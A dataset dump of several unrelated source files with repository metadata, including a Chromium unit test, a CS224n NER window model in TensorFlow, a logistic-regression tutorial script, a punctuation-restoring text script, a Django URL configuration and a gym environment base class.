print( led2.on(),
sleep(5),
led2.off(),
sleep(1))
elif winds['speed'] > 15 or winds['speed'] < 21:
print( led.on(),
sleep(5),
led.off(),
sleep(1))
else:
print(led1.on()(),
sleep(5),
led1.off(),
sleep(1))
print("The wind result is :- ", winds['speed'])
#print("The humidity result is :- ", humidities)
#print("The tempreture is :- ", tempreture )
#print("The pressure is :- ", presh)
#print("The cloud coverage is :- ", clud)
# print("The cloud rain volume is :- ", ran)
#print("The cloud snow volume is :- ", snoww)
Weather_Forecast() | [
"innocent.fiadu@htu.edu.gh"
] | innocent.fiadu@htu.edu.gh |
0f5ed518db714ea344380b6429275fec41ee5e98 | a3d6556180e74af7b555f8d47d3fea55b94bcbda | /chrome/test/webapps/graph_analysis_unittest.py | 8c279f8cf4de227a48180ac060fca8eb86fd07b9 | [
"BSD-3-Clause"
] | permissive | chromium/chromium | aaa9eda10115b50b0616d2f1aed5ef35d1d779d6 | a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c | refs/heads/main | 2023-08-24T00:35:12.585945 | 2023-08-23T22:01:11 | 2023-08-23T22:01:11 | 120,360,765 | 17,408 | 7,102 | BSD-3-Clause | 2023-09-10T23:44:27 | 2018-02-05T20:55:32 | null | UTF-8 | Python | false | false | 4,714 | py | #!/usr/bin/env python3
# Copyright 2021 The Chromium Authors
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import csv
from file_reading import read_actions_file, read_enums_file, read_platform_supported_actions, read_unprocessed_coverage_tests_file
from test_analysis import expand_parameterized_tests, filter_coverage_tests_for_platform, partition_framework_tests_per_platform_combination
from graph_analysis import build_action_node_graph, generate_framework_tests, trim_graph_to_platform_actions
import os
import unittest
from models import ActionNode, CoverageTestsByPlatform, CoverageTestsByPlatformSet, TestPartitionDescription
from models import TestPlatform
TEST_DATA_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)),
"test_data")
class GraphAnalysisUnittest(unittest.TestCase):
def test_test_generation(self):
self.maxDiff = None
actions_filename = os.path.join(TEST_DATA_DIR, "test_actions.md")
enums_filename = os.path.join(TEST_DATA_DIR, "test_enums.md")
supported_actions_filename = os.path.join(
TEST_DATA_DIR, "framework_supported_actions.csv")
coverage_filename = os.path.join(TEST_DATA_DIR,
"test_unprocessed_coverage.md")
test_partition = TestPartitionDescription(
action_name_prefixes=set(),
browsertest_dir=os.path.join(TEST_DATA_DIR, "expected_test_txt"),
test_file_prefix="tests_default",
test_fixture="TestName")
with open(actions_filename, "r", encoding="utf-8") as actions_file, \
open(supported_actions_filename, "r", encoding="utf-8") \
as supported_actions_file, \
open (enums_filename, "r", encoding="utf-8") as enums, \
open(coverage_filename, "r", encoding="utf-8") \
as coverage_file:
enums = read_enums_file(enums.readlines())
platform_supported_actions = read_platform_supported_actions(
csv.reader(supported_actions_file, delimiter=','))
(actions, action_base_name_to_default_param) = read_actions_file(
actions_file.readlines(), enums, platform_supported_actions)
required_coverage_tests = read_unprocessed_coverage_tests_file(
coverage_file.readlines(), actions, enums,
action_base_name_to_default_param)
required_coverage_tests = expand_parameterized_tests(
required_coverage_tests)
required_coverage_by_platform: CoverageTestsByPlatform = {}
generated_tests_by_platform: CoverageTestsByPlatform = {}
for platform in TestPlatform:
platform_tests = filter_coverage_tests_for_platform(
required_coverage_tests.copy(), platform)
required_coverage_by_platform[platform] = platform_tests
generated_tests_root_node = ActionNode.CreateRootNode()
build_action_node_graph(generated_tests_root_node,
platform_tests)
trim_graph_to_platform_actions(generated_tests_root_node,
platform)
generated_tests_by_platform[
platform] = generate_framework_tests(
generated_tests_root_node, platform)
required_coverage_by_platform_set: CoverageTestsByPlatformSet = (
partition_framework_tests_per_platform_combination(
generated_tests_by_platform))
for platform_set, tests in required_coverage_by_platform_set.items(
):
expected_filename = os.path.join(
test_partition.browsertest_dir,
test_partition.test_file_prefix)
if len(platform_set) != len(TestPlatform):
for platform in TestPlatform:
if platform in platform_set:
expected_filename += "_" + platform.suffix
expected_filename += ".txt"
with open(expected_filename, "r",
encoding="utf-8") as expected_tests_file:
expected_tests_str = expected_tests_file.read()
actual_tests_str = "\n".join([
test.generate_browsertest(test_partition)
for test in tests
])
self.assertEqual(expected_tests_str, actual_tests_str)
if __name__ == '__main__':
unittest.main()
| [
"chromium-scoped@luci-project-accounts.iam.gserviceaccount.com"
] | chromium-scoped@luci-project-accounts.iam.gserviceaccount.com |
da0b836d9ee3e8f5c77c7ae1b030681c959bd465 | 0a4d0925577e77d2fc2f92a572e259fcbd3f0b9f | /assignment3/q1_window.py | 50e0ca73cdf52f1cf62e6f53e081992556f567a4 | [] | no_license | Jacobsolawetz/stanford-cs224n | 7a80c2c89625052771c0ef2c0e64703d34c74358 | 78db134c7cebd8e4afb36b454d522ad99be1561f | refs/heads/master | 2020-04-26T14:21:18.884356 | 2019-03-03T18:02:57 | 2019-03-03T18:02:57 | 173,610,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 22,404 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Q1: A window into NER
"""
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
import time
import logging
from datetime import datetime
import tensorflow as tf
from util import print_sentence, write_conll
from data_util import load_and_preprocess_data, load_embeddings, read_conll, ModelHelper
from ner_model import NERModel
from defs import LBLS
#from report import Report
logger = logging.getLogger("hw3.q1")
logger.setLevel(logging.DEBUG)
logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)
class Config:
"""Holds model hyperparams and data information.
The config class is used to store various hyperparameters and dataset
information parameters. Model objects are passed a Config() object at
instantiation.
TODO: Fill in what n_window_features should be, using n_word_features and window_size.
"""
n_word_features = 2 # Number of features for every word in the input.
window_size = 1 # The size of the window to use.
### YOUR CODE HERE
n_window_features = 0 # The total number of features used for each window.
### END YOUR CODE
n_classes = 5
dropout = 0.5
embed_size = 50
hidden_size = 200
batch_size = 2048
n_epochs = 10
lr = 0.001
n_window_features = (2 * window_size + 1) * n_word_features
def __init__(self, output_path=None):
if output_path:
# Where to save things.
self.output_path = output_path
else:
self.output_path = "results/window/{:%Y%m%d_%H%M%S}/".format(datetime.now())
self.model_output = self.output_path + "model.weights"
self.eval_output = self.output_path + "results.txt"
self.log_output = self.output_path + "log"
self.conll_output = self.output_path + "window_predictions.conll"
def make_windowed_data(data, start, end, window_size = 1):
"""Uses the input sequences in @data to construct new windowed data points.
TODO: In the code below, construct a window from each word in the
input sentence by concatenating the words @window_size to the left
and @window_size to the right to the word. Finally, add this new
window data point and its label. to windowed_data.
Args:
data: is a list of (sentence, labels) tuples. @sentence is a list
containing the words in the sentence and @label is a list of
output labels. Each word is itself a list of
@n_features features. For example, the sentence "Chris
Manning is amazing" and labels "PER PER O O" would become
([[1,9], [2,9], [3,8], [4,8]], [1, 1, 4, 4]). Here "Chris"
the word has been featurized as "[1, 9]", and "[1, 1, 4, 4]"
is the list of labels.
start: the featurized `start' token to be used for windows at the very
beginning of the sentence.
end: the featurized `end' token to be used for windows at the very
end of the sentence.
window_size: the length of the window to construct.
Returns:
a new list of data points, corresponding to each window in the
sentence. Each data point consists of a list of
@n_window_features features (corresponding to words from the
window) to be used in the sentence and its NER label.
If start=[5,8] and end=[6,8], the above example should return
the list
[([5, 8, 1, 9, 2, 9], 1),
([1, 9, 2, 9, 3, 8], 1),
...
]
"""
windowed_data = []
for sentence, labels in data:
### YOUR CODE HERE (5-20 lines)
for i in range(len(sentence)):
window = sentence[i]
for j in range(window_size):
offset = j + 1
if i - offset < 0:
prior_word = start
else:
prior_word = sentence[i - offset]
if i + offset > len(sentence) - 1:
next_word = end
else:
next_word = sentence[i + offset]
window = prior_word + window
window = window + next_word
windowed_data.append((window,labels[i]))
### END YOUR CODE
return windowed_data
class WindowModel(NERModel):
"""
Implements a feedforward neural network with an embedding layer and
single hidden layer.
This network will predict what label (e.g. PER) should be given to a
given token (e.g. Manning) by using a featurized window around the token.
"""
def add_placeholders(self):
"""Generates placeholder variables to represent the input tensors
These placeholders are used as inputs by the rest of the model building and will be fed
data during training. Note that when "None" is in a placeholder's shape, it's flexible
(so we can use different batch sizes without rebuilding the model).
Adds following nodes to the computational graph
input_placeholder: Input placeholder tensor of shape (None, n_window_features), type tf.int32
labels_placeholder: Labels placeholder tensor of shape (None,), type tf.int32
dropout_placeholder: Dropout value placeholder (scalar), type tf.float32
Add these placeholders to self as the instance variables
self.input_placeholder
self.labels_placeholder
self.dropout_placeholder
(Don't change the variable names)
"""
### YOUR CODE HERE (~3-5 lines)
#need to find where n_window_features comes from
self.input_placeholder = tf.placeholder(tf.int32, [None, self.config.n_window_features] )
self.labels_placeholder = tf.placeholder(tf.int32, [None,] )
self.dropout_placeholder = tf.placeholder(tf.float32, shape=())
### END YOUR CODE
def create_feed_dict(self, inputs_batch, labels_batch=None, dropout=1):
"""Creates the feed_dict for the model.
A feed_dict takes the form of:
feed_dict = {
<placeholder>: <tensor of values to be passed for placeholder>,
....
}
Hint: The keys for the feed_dict should be a subset of the placeholder
tensors created in add_placeholders.
Hint: When an argument is None, don't add it to the feed_dict.
Args:
inputs_batch: A batch of input data.
labels_batch: A batch of label data.
dropout: The dropout rate.
Returns:
feed_dict: The feed dictionary mapping from placeholders to values.
"""
### YOUR CODE HERE (~5-10 lines)
feed_dict = {}
if inputs_batch is not None:
feed_dict[self.input_placeholder] = inputs_batch
if labels_batch is not None:
feed_dict[self.labels_placeholder] = labels_batch
if dropout is not None:
feed_dict[self.dropout_placeholder] = dropout
### END YOUR CODE
return feed_dict
def add_embedding(self):
"""Adds an embedding layer that maps from input tokens (integers) to vectors and then
concatenates those vectors:
- Creates an embedding tensor and initializes it with self.pretrained_embeddings.
- Uses the input_placeholder to index into the embeddings tensor, resulting in a
tensor of shape (None, n_window_features, embedding_size).
- Concatenates the embeddings by reshaping the embeddings tensor to shape
(-1, n_window_features * embedding_size). Here -1 means variable length.
Hint: You might find tf.nn.embedding_lookup useful.
Hint: You can use tf.reshape to concatenate the vectors. See following link to understand
what -1 in a shape means.
https://www.tensorflow.org/api_docs/python/array_ops/shapes_and_shaping#reshape.
Returns:
embeddings: tf.Tensor of shape (None, n_window_features*embed_size)
"""
### YOUR CODE HERE (!3-5 lines)
# self.inputs_placeholder (None, N_window_features)
embedding_tensor = tf.constant(self.pretrained_embeddings)
embedding_staging = tf.nn.embedding_lookup(embedding_tensor, self.input_placeholder, partition_strategy='mod', name=None)
embeddings = tf.reshape(embedding_staging,(-1,self.config.n_window_features*self.config.embed_size))
### END YOUR CODE
return embeddings
def add_prediction_op(self):
"""Adds the 1-hidden-layer NN:
h = Relu(xW + b1)
h_drop = Dropout(h, dropout_rate)
pred = h_dropU + b2
Recall that we are not applying a softmax to pred. The softmax will instead be done in
the add_loss_op function, which improves efficiency because we can use
tf.nn.softmax_cross_entropy_with_logits
When creating a new variable, use the tf.get_variable function
because it lets us specify an initializer.
Use tf.contrib.layers.xavier_initializer to initialize matrices.
This is TensorFlow's implementation of the Xavier initialization
trick we used in last assignment.
Note: tf.nn.dropout takes the keep probability (1 - p_drop) as an argument.
The keep probability should be set to the value of dropout_rate.
Returns:
pred: tf.Tensor of shape (batch_size, n_classes)
"""
x = self.add_embedding()
dropout_rate = self.dropout_placeholder
### YOUR CODE HERE (~10-20 lines)
W = tf.get_variable("W", shape=[self.config.n_window_features*self.config.embed_size, self.config.hidden_size],
initializer=tf.contrib.layers.xavier_initializer())
b1 = tf.get_variable("b1", shape = [self.config.hidden_size], initializer=tf.contrib.layers.xavier_initializer())
h = tf.nn.relu(tf.matmul(x,W) + b1)
h_drop = tf.nn.dropout(h,dropout_rate)
U = tf.get_variable("U", shape=[self.config.hidden_size, self.config.n_classes],
initializer=tf.contrib.layers.xavier_initializer())
b2 = tf.get_variable("b2", shape = [self.config.n_classes], initializer=tf.contrib.layers.xavier_initializer())
pred = tf.matmul(h_drop,U) + b2
### END YOUR CODE
return pred
def add_loss_op(self, pred):
"""Adds Ops for the loss function to the computational graph.
In this case we are using cross entropy loss.
The loss should be averaged over all examples in the current minibatch.
Remember that you can use tf.nn.sparse_softmax_cross_entropy_with_logits to simplify your
implementation. You might find tf.reduce_mean useful.
Args:
pred: A tensor of shape (batch_size, n_classes) containing the output of the neural
network before the softmax layer.
Returns:
loss: A 0-d tensor (scalar)
"""
### YOUR CODE HERE (~2-5 lines)
loss_array = tf.nn.sparse_softmax_cross_entropy_with_logits(labels = self.labels_placeholder, logits = pred)
loss = tf.reduce_mean(loss_array)
### END YOUR CODE
return loss
def add_training_op(self, loss):
"""Sets up the training Ops.
Creates an optimizer and applies the gradients to all trainable variables.
The Op returned by this function is what must be passed to the
`sess.run()` call to cause the model to train. See
https://www.tensorflow.org/versions/r0.7/api_docs/python/train.html#Optimizer
for more information.
Use tf.train.AdamOptimizer for this model.
Calling optimizer.minimize() will return a train_op object.
Args:
loss: Loss tensor, from cross_entropy_loss.
Returns:
train_op: The Op for training.
"""
### YOUR CODE HERE (~1-2 lines)
train_op = tf.train.AdamOptimizer().minimize(loss)
### END YOUR CODE
return train_op
def preprocess_sequence_data(self, examples):
return make_windowed_data(examples, start=self.helper.START, end=self.helper.END, window_size=self.config.window_size)
def consolidate_predictions(self, examples_raw, examples, preds):
"""Batch the predictions into groups of sentence length.
"""
ret = []
#pdb.set_trace()
i = 0
for sentence, labels in examples_raw:
labels_ = preds[i:i+len(sentence)]
i += len(sentence)
ret.append([sentence, labels, labels_])
return ret
def predict_on_batch(self, sess, inputs_batch):
"""Make predictions for the provided batch of data
Args:
sess: tf.Session()
input_batch: np.ndarray of shape (n_samples, n_features)
Returns:
predictions: np.ndarray of shape (n_samples, n_classes)
"""
feed = self.create_feed_dict(inputs_batch)
predictions = sess.run(tf.argmax(self.pred, axis=1), feed_dict=feed)
return predictions
def train_on_batch(self, sess, inputs_batch, labels_batch):
feed = self.create_feed_dict(inputs_batch, labels_batch=labels_batch,
dropout=self.config.dropout)
_, loss = sess.run([self.train_op, self.loss], feed_dict=feed)
return loss
def __init__(self, helper, config, pretrained_embeddings, report=None):
super(WindowModel, self).__init__(helper, config, report)
self.pretrained_embeddings = pretrained_embeddings
# Defining placeholders.
self.input_placeholder = None
self.labels_placeholder = None
self.dropout_placeholder = None
self.build()
def test_make_windowed_data():
sentences = [[[1,1], [2,0], [3,3]]]
sentence_labels = [[1, 2, 3]]
data = zip(sentences, sentence_labels)
w_data = make_windowed_data(data, start=[5,0], end=[6,0], window_size=1)
assert len(w_data) == sum(len(sentence) for sentence in sentences)
assert w_data == [
([5,0] + [1,1] + [2,0], 1,),
([1,1] + [2,0] + [3,3], 2,),
([2,0] + [3,3] + [6,0], 3,),
]
def do_test1(_):
logger.info("Testing make_windowed_data")
test_make_windowed_data()
logger.info("Passed!")
def do_test2(args):
logger.info("Testing implementation of WindowModel")
config = Config()
helper, train, dev, train_raw, dev_raw = load_and_preprocess_data(args)
embeddings = load_embeddings(args, helper)
config.embed_size = embeddings.shape[1]
with tf.Graph().as_default():
logger.info("Building model...",)
start = time.time()
model = WindowModel(helper, config, embeddings)
logger.info("took %.2f seconds", time.time() - start)
init = tf.global_variables_initializer()
saver = None
with tf.Session() as session:
session.run(init)
model.fit(session, saver, train, dev)
logger.info("Model did not crash!")
logger.info("Passed!")
def do_train(args):
# Set up some parameters.
config = Config()
helper, train, dev, train_raw, dev_raw = load_and_preprocess_data(args)
embeddings = load_embeddings(args, helper)
config.embed_size = embeddings.shape[1]
helper.save(config.output_path)
handler = logging.FileHandler(config.log_output)
handler.setLevel(logging.DEBUG)
handler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s: %(message)s'))
logging.getLogger().addHandler(handler)
report = None #Report(Config.eval_output)
with tf.Graph().as_default():
logger.info("Building model...",)
start = time.time()
model = WindowModel(helper, config, embeddings)
logger.info("took %.2f seconds", time.time() - start)
init = tf.global_variables_initializer()
saver = tf.train.Saver()
with tf.Session() as session:
session.run(init)
model.fit(session, saver, train, dev)
if report:
report.log_output(model.output(session, dev_raw))
report.save()
else:
# Save predictions in a text file.
output = model.output(session, dev_raw)
sentences, labels, predictions = zip(*output)
predictions = [[LBLS[l] for l in preds] for preds in predictions]
output = zip(sentences, labels, predictions)
with open(model.config.conll_output, 'w') as f:
write_conll(f, output)
with open(model.config.eval_output, 'w') as f:
for sentence, labels, predictions in output:
print_sentence(f, sentence, labels, predictions)
def do_evaluate(args):
config = Config(args.model_path)
helper = ModelHelper.load(args.model_path)
input_data = read_conll(args.data)
embeddings = load_embeddings(args, helper)
config.embed_size = embeddings.shape[1]
with tf.Graph().as_default():
logger.info("Building model...",)
start = time.time()
model = WindowModel(helper, config, embeddings)
logger.info("took %.2f seconds", time.time() - start)
init = tf.global_variables_initializer()
saver = tf.train.Saver()
with tf.Session() as session:
session.run(init)
saver.restore(session, model.config.model_output)
for sentence, labels, predictions in model.output(session, input_data):
predictions = [LBLS[l] for l in predictions]
print_sentence(args.output, sentence, labels, predictions)
def do_shell(args):
config = Config(args.model_path)
helper = ModelHelper.load(args.model_path)
embeddings = load_embeddings(args, helper)
config.embed_size = embeddings.shape[1]
with tf.Graph().as_default():
logger.info("Building model...",)
start = time.time()
model = WindowModel(helper, config, embeddings)
logger.info("took %.2f seconds", time.time() - start)
init = tf.global_variables_initializer()
saver = tf.train.Saver()
with tf.Session() as session:
session.run(init)
saver.restore(session, model.config.model_output)
print("""Welcome!
You can use this shell to explore the behavior of your model.
Please enter sentences with spaces between tokens, e.g.,
input> Germany 's representative to the European Union 's veterinary committee .
""")
while True:
# Create simple REPL
try:
sentence = raw_input("input> ")
tokens = sentence.strip().split(" ")
for sentence, _, predictions in model.output(session, [(tokens, ["O"] * len(tokens))]):
predictions = [LBLS[l] for l in predictions]
print_sentence(sys.stdout, sentence, [""] * len(tokens), predictions)
except EOFError:
print("Closing session.")
break
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Trains and tests an NER model')
subparsers = parser.add_subparsers()
command_parser = subparsers.add_parser('test1', help='')
command_parser.set_defaults(func=do_test1)
command_parser = subparsers.add_parser('test2', help='')
command_parser.add_argument('-dt', '--data-train', type=argparse.FileType('r'), default="data/tiny.conll", help="Training data")
command_parser.add_argument('-dd', '--data-dev', type=argparse.FileType('r'), default="data/tiny.conll", help="Dev data")
command_parser.add_argument('-v', '--vocab', type=argparse.FileType('r'), default="data/vocab.txt", help="Path to vocabulary file")
command_parser.add_argument('-vv', '--vectors', type=argparse.FileType('r'), default="data/wordVectors.txt", help="Path to word vectors file")
command_parser.set_defaults(func=do_test2)
command_parser = subparsers.add_parser('train', help='')
command_parser.add_argument('-dt', '--data-train', type=argparse.FileType('r'), default="data/train.conll", help="Training data")
command_parser.add_argument('-dd', '--data-dev', type=argparse.FileType('r'), default="data/dev.conll", help="Dev data")
command_parser.add_argument('-v', '--vocab', type=argparse.FileType('r'), default="data/vocab.txt", help="Path to vocabulary file")
command_parser.add_argument('-vv', '--vectors', type=argparse.FileType('r'), default="data/wordVectors.txt", help="Path to word vectors file")
command_parser.set_defaults(func=do_train)
command_parser = subparsers.add_parser('evaluate', help='')
command_parser.add_argument('-d', '--data', type=argparse.FileType('r'), default="data/dev.conll", help="Training data")
command_parser.add_argument('-m', '--model-path', help="Training data")
command_parser.add_argument('-v', '--vocab', type=argparse.FileType('r'), default="data/vocab.txt", help="Path to vocabulary file")
command_parser.add_argument('-vv', '--vectors', type=argparse.FileType('r'), default="data/wordVectors.txt", help="Path to word vectors file")
command_parser.add_argument('-o', '--output', type=argparse.FileType('w'), default=sys.stdout, help="Training data")
command_parser.set_defaults(func=do_evaluate)
command_parser = subparsers.add_parser('shell', help='')
command_parser.add_argument('-m', '--model-path', help="Training data")
command_parser.add_argument('-v', '--vocab', type=argparse.FileType('r'), default="data/vocab.txt", help="Path to vocabulary file")
command_parser.add_argument('-vv', '--vectors', type=argparse.FileType('r'), default="data/wordVectors.txt", help="Path to word vectors file")
command_parser.set_defaults(func=do_shell)
ARGS = parser.parse_args()
if ARGS.func is None:
parser.print_help()
sys.exit(1)
else:
ARGS.func(ARGS)
| [
"jacobsolawetz@gmail.com"
] | jacobsolawetz@gmail.com |
a99c2a5837c537a407dd87963f6047684fc42131 | 60b52f75e2b0712738d5ad2f9c2113e4d8016c1e | /Chapter01/Logistic regression model building/logistic.py | 9173bc687a2a76562df6ba94ab599b0b78764c5a | [
"MIT"
] | permissive | PacktPublishing/Hands-On-Deep-Learning-with-TensorFlow | b63b40140882762841403467f9255612972f7ec7 | c81fdc1edf8f2275ea76a9900c92e7fae0ddf6ed | refs/heads/master | 2023-01-24T19:44:40.191675 | 2023-01-24T11:07:02 | 2023-01-24T11:07:02 | 100,028,897 | 96 | 77 | null | null | null | null | UTF-8 | Python | false | false | 3,308 | py | import tensorflow as tf
import numpy as np
%autoindent
try:
from tqdm import tqdm
except ImportError:
def tqdm(x, *args, **kwargs):
return x
# Set random seed
np.random.seed(0)
# Load data
data = np.load('data_with_labels.npz')
train = data['arr_0']/255.
labels = data['arr_1']
# Look at some data
print(train[0])
print(labels[0])
# If you have matplotlib installed
import matplotlib.pyplot as plt
plt.ion()
# Let's look at a subplot of one of A in each font
f, plts = plt.subplots(5, sharex=True)
c = 91
for i in range(5):
plts[i].pcolor(train[c + i * 558],
cmap=plt.cm.gray_r)
def to_onehot(labels,nclasses = 5):
'''
Convert labels to "one-hot" format.
>>> a = [0,1,2,3]
>>> to_onehot(a,5)
array([[ 1., 0., 0., 0., 0.],
[ 0., 1., 0., 0., 0.],
[ 0., 0., 1., 0., 0.],
[ 0., 0., 0., 1., 0.]])
'''
outlabels = np.zeros((len(labels),nclasses))
for i,l in enumerate(labels):
outlabels[i,l] = 1
return outlabels
onehot = to_onehot(labels)
# Split data into training and validation
indices = np.random.permutation(train.shape[0])
valid_cnt = int(train.shape[0] * 0.1)
test_idx, training_idx = indices[:valid_cnt],\
indices[valid_cnt:]
test, train = train[test_idx,:],\
train[training_idx,:]
onehot_test, onehot_train = onehot[test_idx,:],\
onehot[training_idx,:]
sess = tf.InteractiveSession()
# These will be inputs
## Input pixels, flattened
x = tf.placeholder("float", [None, 1296])
## Known labels
y_ = tf.placeholder("float", [None,5])
# Variables
W = tf.Variable(tf.zeros([1296,5]))
b = tf.Variable(tf.zeros([5]))
# Just initialize
sess.run(tf.global_variables_initializer())
# Define model
y = tf.nn.softmax(tf.matmul(x,W) + b)
### End model specification, begin training code
# Climb on cross-entropy
cross_entropy = tf.reduce_mean(
tf.nn.softmax_cross_entropy_with_logits(
logits = y + 1e-50, labels = y_))
# How we train
train_step = tf.train.GradientDescentOptimizer(
0.02).minimize(cross_entropy)
# Define accuracy
correct_prediction = tf.equal(tf.argmax(y,1),
tf.argmax(y_,1))
accuracy = tf.reduce_mean(tf.cast(
correct_prediction, "float"))
# Actually train
epochs = 1000
train_acc = np.zeros(epochs//10)
test_acc = np.zeros(epochs//10)
for i in tqdm(range(epochs)):
# Record summary data, and the accuracy
if i % 10 == 0:
# Check accuracy on train set
A = accuracy.eval(feed_dict={
x: train.reshape([-1,1296]),
y_: onehot_train})
train_acc[i//10] = A
# And now the validation set
A = accuracy.eval(feed_dict={
x: test.reshape([-1,1296]),
y_: onehot_test})
test_acc[i//10] = A
train_step.run(feed_dict={
x: train.reshape([-1,1296]),
y_: onehot_train})
# Notice that accuracy flattens out
print(train_acc[-1])
print(test_acc[-1])
# Plot the accuracy curves
plt.figure(figsize=(6,6))
plt.plot(train_acc,'bo')
plt.plot(test_acc,'rx')
# Look at a subplot of the weights for each font
f, plts = plt.subplots(5, sharex=True)
for i in range(5):
plts[i].pcolor(W.eval()[:,i].reshape([36,36]))
| [
"noreply@github.com"
] | PacktPublishing.noreply@github.com |
f680454ba7b5af9fc6dc8c24ff0cd85b369acce2 | 55c87755a4d7664e8155ac30a4a2e713afae802d | /check_eos_bisent.py | ec3f638cee49d57e460f0d2be868b876cd2e414d | [] | no_license | seppilee/eval_grammar | c67edb5e1ee5f85689d87939299fed97c0c0d335 | d103a5e187308409f673d0d8deb4e92a9d103eef | refs/heads/master | 2020-03-14T16:51:36.277125 | 2019-05-19T14:34:04 | 2019-05-19T14:34:04 | 131,706,413 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,882 | py | #!/usr/bin/python
#-*- coding: UTF-8 -*-
import sys
import string
import re
reload(sys)
sys.setdefaultencoding("UTF-8")
def main(strRefFile):
hangul = re.compile('[^a-zA-Z0-9�꽦-�뀭媛�-�옡]+')
nLineNum = 0
lstRef = {}
# read reference file
fref = open(strRefFile, 'r')
while 1:
nLineNum = nLineNum + 1
strLine = fref.readline()
if not strLine:
break
strLine = strLine.strip('\r\n')
nTab = strLine.find('\t')
if nTab < 0:
continue
strSrc = strLine[0:nTab].strip()
strTgt = strLine[nTab+1:].strip()
strKey = hangul.sub('',strTgt) #?
if len(strSrc) <= 0 or len(strTgt) <= 0 or len(strKey) <= 0:
continue
print strKey
lstRef[strKey] = strTgt #?
# read working file for recovery of special character
nLineNum = 0
while 1:
try:
strLine = raw_input("")
except Exception:
break
if not strLine:
break
nLineNum = nLineNum + 1
if (nLineNum % 100) == 0:
sys.stderr.write("\r{0} lines progressed...".format(nLineNum))
line = strLine
nTab = line.find("\t")
if nTab < 0:
sys.stderr.write("{0} Line Error : [{1}]\n".format(nLineNum, line))
continue
strSrc2 = line[0:nTab].strip()
strTgt2 = line[nTab+1:].strip()
if len(strSrc2) <= 0 or len(strTgt2) <= 0:
sys.stderr.write("{0} Line Error : [{1}]\n".format(nLineNum, line))
#continue
strKey = hangul.sub('',strTgt2)
# starting recovery processing
strDiff="FALSE"
if len(strSrc2) <= 0:
strDiff="TRUE"
#print ">>",lstRef[strKey][-1],"<<"
if (strKey in lstRef) == True:
#not found end of sentence symbol and add EOS symbol
if strTgt2[-1] != lstRef[strKey][-1] and (lstRef[strKey][-1] == "." or lstRef[strKey][-1] == "?" or lstRef[strKey][-1] == "!"):
strTgt2 += lstRef[strKey][-1]
print ">>", strTgt2, "<<"
if strTgt2 != lstRef[strKey]:
strDiff="TRUE" # not same with original
strTgt2 = lstRef[strKey]
if len(strSrc2) > 0 and strSrc2[-1] != lstRef[strKey][-1] and strSrc2[-1] != "." and strSrc2[-1] != "?" and strSrc2[-1] != "!" and (lstRef[strKey][-1] == "." or lstRef[strKey][-1] == "?" or lstRef[strKey][-1] == "!"):
strSrc2 += lstRef[strKey][-1]
# print out the recovered file.
sys.stdout.write("{0}\t{1}\t{2}\n".format(strSrc2, strTgt2, strDiff))
sys.stderr.write("\n")
fref.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print "Example : python copy-period.py reference-file < input-file > output-file"
else:
main(sys.argv[1])
| [
"seppi.lee@hanmail.net"
] | seppi.lee@hanmail.net |
499e15bc058b825877025eda2fa9a34fc9c1cc8f | b4314f089cbb4163a3dc063f0c708117e168f56d | /pytdjangoblog/urls.py | 8724a1344757d930c2178c83320f0ca504cb6d47 | [] | no_license | tinodau/LearnDjango | dd2551f8445a113f17347c7d13e855254fbad683 | ced3d29cd94bfe9a50d32c005d34fdf170d5a105 | refs/heads/master | 2020-06-14T03:33:01.159897 | 2016-12-04T01:12:11 | 2016-12-04T01:12:11 | 75,509,830 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,029 | py | """pytdjangoblog URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url
from django.contrib import admin
from myblog.views import hello, current_time
from books import views
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^hello/$', hello),
url(r'^time/$', current_time),
url(r'^search-form/$', views.search_form),
url(r'^search/$', views.search),
url(r'^contact/$', views.contact),
]
| [
"daulat.rachmanto@gmail.com"
] | daulat.rachmanto@gmail.com |
373478a5506e864208ef712885d48dbfca547532 | fd8db5460e29f1e756954bea8b1f19d68f0c46c8 | /gym_subgoal_automata/envs/base/base_env.py | ec4115d0faa1c83b04f0b1e2469f72fa881f5d90 | [
"MIT"
] | permissive | ertsiger/gym-subgoal-automata | 35080daf98bb4ee83381ded02f802f9f48db2005 | 1879a6512441cdf0758c937cc659931d49260d38 | refs/heads/master | 2023-08-24T19:27:21.767022 | 2023-08-15T09:53:08 | 2023-08-15T09:53:08 | 225,397,189 | 7 | 4 | null | 2022-06-21T23:36:27 | 2019-12-02T14:43:02 | Python | UTF-8 | Python | false | false | 984 | py | from abc import ABC, abstractmethod
import gym
from gym_subgoal_automata.utils import utils
class BaseEnv(ABC, gym.Env):
RANDOM_SEED_FIELD = "environment_seed"
def __init__(self, params=None):
super().__init__()
self.params = params
self.is_game_over = False
self.seed = utils.get_param(self.params, BaseEnv.RANDOM_SEED_FIELD)
@abstractmethod
def step(self, action):
pass
@abstractmethod
def is_terminal(self):
pass
@abstractmethod
def get_observables(self):
pass
@abstractmethod
def get_restricted_observables(self):
pass
@abstractmethod
def get_observations(self):
pass
@abstractmethod
def get_automaton(self):
pass
@abstractmethod
def reset(self):
self.is_game_over = False
return None
@abstractmethod
def render(self, mode='human'):
pass
@abstractmethod
def play(self):
pass
| [
"danielfb93@gmail.com"
] | danielfb93@gmail.com |
da05e53882fe0ea9e33aeee423de00ca20d345e3 | 11a68b37deda3060c76b190436b6e854264d37d6 | /agentredrabbit/agentredrabbit.py | c576fb932fa6820a776ceda46dd108119a9b0938 | [
"MIT"
